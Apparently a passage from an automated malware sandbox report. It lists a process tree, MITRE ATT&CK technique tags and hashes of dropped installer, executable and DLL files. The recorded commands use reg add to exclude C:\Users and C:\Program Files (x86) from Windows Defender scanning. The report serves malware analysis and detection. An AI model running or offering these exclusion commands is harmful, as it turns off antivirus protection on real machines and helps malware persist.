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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:6060 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵PID:4908
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:5016
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Persistence
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59b0e8.rbs
- Size 7KB
- SHA256 bc9e2d9e30d9d15a60cd3d0c9023a7403adbff68c67de6033d826da32d9375c3
- MD5 b49520f642b0bf4f33c9cea4d3c87fa4
- SHA1 242e7d81ed7c5c5bf376a46a68d597fc7d8e3365
- SHA512 4f3697400d591931e18a73ac323eb81340ba996c3f640c4ece0ef226d45cef7cbfe5cbf6841f9cb921bfa05bb0b580afcd7aa4fb8dfca847808a1ab20bf2d882
- SSDEEP 96:sTgu0CXvaUUF3g1CsThq/UF3g1C6j4/xpThqjHsS56TWt8d8W6CKpljVzIjByy:sQCCzpgIIVpgI3CAO8Kpg
- TLSH T1E9F13101B31196D2F9911B75CB831B1637F2D3DAA320735B088E80285F577887EE67AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\nLwq4D\2pkmaS.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\nLwq4D\UxEnhance64.dll
- Size 3.1MB
- SHA256 6a2f19bd9734bea7a79ed99329dcbc97e21e4a6e0cb0f418b3cc93be9fd924d6
- MD5 928ca153340acd09d2a8705153432ef0
- SHA1 fe3e411959176401e190ad125f12b092fdebd40b
- SHA512 a52135996c11ce2161fa4977c3962e3f1b76d0860a42dc6d77f407ccdbe8c9d574de32fd88b5e6b9933136cd015c3efae1b9a897e4d9eaf0515ebb1a4a7d2355
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB++:P9m29xx3Tiqt06ox6+z2rNNrKo+
- TLSH T18CE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\nLwq4D\adoresd.dat
- Size 4.7MB
- SHA256 793e99e4d6bda7114bacb90782b3121d452397607cea6c72e52cb99a760ac271
- MD5 08aa4bf83594d025389f616b92d0162b
- SHA1 87ad0be8ee43ad3daf88e9bf205c2dc80da1f6d2
- SHA512 3236fc1997c35e423c77ecb26f7da880115291ae4ed59a2a9a9282161e4b58daff4a189ab0eb27b32f9ee7f963ab6662578d97acb455ec433a6563309b5018f9
- SSDEEP 98304:Mmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:fu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T15E3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\nLwq4D\msadox.tb
- Size 8KB
- SHA256 7ccf86c6a81dd086a9cdcb7b66f8bbf9c8be97bbf70128494d1672a4ca0b6706
- MD5 d3432a47b0d3cc293d61bd1a21d776ea
- SHA1 cb4a47587ccaffb8edb7097188e6dab067e82ef1
- SHA512 d3310524caa98df1cba550bb0c0c528c2b6bdf4f55d995faf758126af782478aa42226710dd4d89e6058dd8d18dda03f0bfdd08be9de2e51791f179d1ef044bd
- SSDEEP 192:mqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:msZqZOXQ3uqvR2Kfzp
- TLSH T17D029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE624D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIB7ED.tmp
- Size 7.5MB
- SHA256 a67b0d3ea524701352723b1b52f15b3a1cac7f953391c03ffad0c38d336c6fcd
- MD5 997d05425c463882bac7aed14a06b6f5
- SHA1 bf9da936bef5d3e53ed84841f4a450cb87d321b6
- SHA512 cb11ad7802cb84e9109788ac1d4e6e95fce22e7afb21a1b7794182099492aa7007fc27141a6989cdf006ec9fffdfc861905b1455067404257eadd7466259f95c
- SSDEEP 196608:tTacFhja9PR1uTUFL3WaNNrT9n7gle0IzEu/eulS:FhjaxXQcWaNnZNZHS
- TLSH T1C48633E6B4E93BB4C08BC3B14113313E706E37C5BD79AE4673E999140E72E265A36394
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59b0e7.msi
- Size 7.6MB
- SHA256 86da8b1b93612b4ad7ac359a53fe613068b561ff32dae4368419307685f1ccef
- MD5 3e28ae1e29d55186e49eaaa1fab84026
- SHA1 459f23d6ffbe22d7c540f524cefa9d2a68db32b8
- SHA512 09ba0f841a0631bade4426166f4e0e36587276d0946407497856fb8148d00bce64ee1d97965f31c97d6ca6ea2bc99f7f475d0f3591fadc0e418ed3ce0e090adf
- SSDEEP 196608:ATacFhja9PR1uTUFL3WaNNoT9n7gle0IzEu/eulf:0hjaxXQcWaSnZNZHf
- TLSH T1F08633E5B4E93B74C08BC3B14117613E706E3FC4BE79AD4673E9B5140E72A264A36398
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 660ca4dee0c45295d0c21acf19c0aa66fea4f75efa8f90c747565a379a831155
- MD5 5d32c9a821803359a987853d28559c8a
- SHA1 debf3807565d85be7bc3a9b14eed0b69b993290d
- SHA512 cf0c41b5c22e1a46a2436e943cbbd20f4c6359a14b905ac277f1e1d9921206fa665ddc125301aaa683909fc2c7bc74384f8fad8bf3ac0022b4121549270a951c
- SSDEEP 24576:FFo3DMP0doO/vvTL/CgySSFAvbOo5L1hUv0AdfMakHca5FTS8YBmyLIz2O4:0Hk
- TLSH T17557F62836F92100E7F79E3CA8F56A634D397D57AC15DE8D05411B8D0822FB1E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c576ab2f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{8f1f6cdc-262c-4ac1-ad4e-36611693250c}_OnDiskSnapshotProp
- Size 6KB
- SHA256 1ee271b03943f03fdd60783630bb22af886865222bc3c2639bb6799899e31c95
- MD5 57df04e1c74e2366d2bc955bcac9e18f
- SHA1 97ba11df212011968078cce9c82cb8f4327c8550
- SHA512 2aa27ef03c0b1a77cf6156edb8484a536551eaa51c6c41e037e9a61f66590592b5566a64b7866d22e0a6dcb7132b7b6f34d80f798505eec0d67d33294c511181
- SSDEEP 96:FwaxFxvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:j5b++uVm
- TLSH T17ED188085AE54711E2B3AB322DF18557A877B911EF33CB8E0198238E6670910F975F6B
- MD5 SHA1 SHA512 SSDEEP TLSH